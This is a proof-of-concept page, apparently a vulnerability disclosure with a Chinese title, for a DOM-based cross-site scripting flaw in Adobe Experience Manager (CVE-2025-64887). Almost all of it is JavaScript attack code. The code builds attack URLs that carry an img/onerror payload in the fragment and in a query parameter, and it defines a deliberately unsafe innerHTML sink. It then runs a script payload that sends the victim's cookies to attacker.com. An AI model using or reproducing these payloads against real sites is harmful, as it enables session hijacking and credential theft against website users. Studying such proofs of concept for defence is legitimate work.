Adobe Experience Manager DOM型跨站脚本漏洞 (CVE-2025-64887)

// CVE-2025-64887 PoC - DOM-based XSS in Adobe Experience Manager // This PoC demonstrates how an attacker could exploit the DOM-based XSS vulnerability // Attack URL construction const baseUrl = 'https://vulnerable-aem-server.com/content/site.html'; const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; // Method 1: URL Fragment injection const attackUrl1 = baseUrl + '#param=' + encodeURIComponent(maliciousPayload); console.log('[PoC] Malicious URL (Fragment): ' + attackUrl1); // Method 2: URL Parameter injection const attackUrl2 = baseUrl + '?vulnerable_param=' + encodeURIComponent(maliciousPayload); console.log('[PoC] Malicious URL (Parameter): ' + attackUrl2); // Method 3: DOM manipulation payload for stored XSS const domInjectionPayload = { description: 'DOM-based XSS payload for AEM', steps: [ '1. Attacker crafts malicious URL with XSS payload', '2. Victim clicks/enters the malicious URL', '3. AEM client-side JS reads URL parameters or fragment', '4. Unsanitized data is written to DOM via innerHTML or similar', '5. Malicious script executes in victim browser context' ], impact: [ 'Session hijacking via cookie theft', 'Credential harvesting', 'Malicious redirects', 'Content manipulation' ] }; console.log('[PoC] Injection Payload:', JSON.stringify(domInjectionPayload, null, 2)); // Simulate the vulnerable code pattern function vulnerableAEMCode(userInput) { // VULNERABLE: Direct DOM manipulation without sanitization document.getElementById('output').innerHTML = userInput; } // Example attack execution const attackInput = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; console.log('[PoC] Executing vulnerable function with attack input...'); vulnerableAEMCode(attackInput);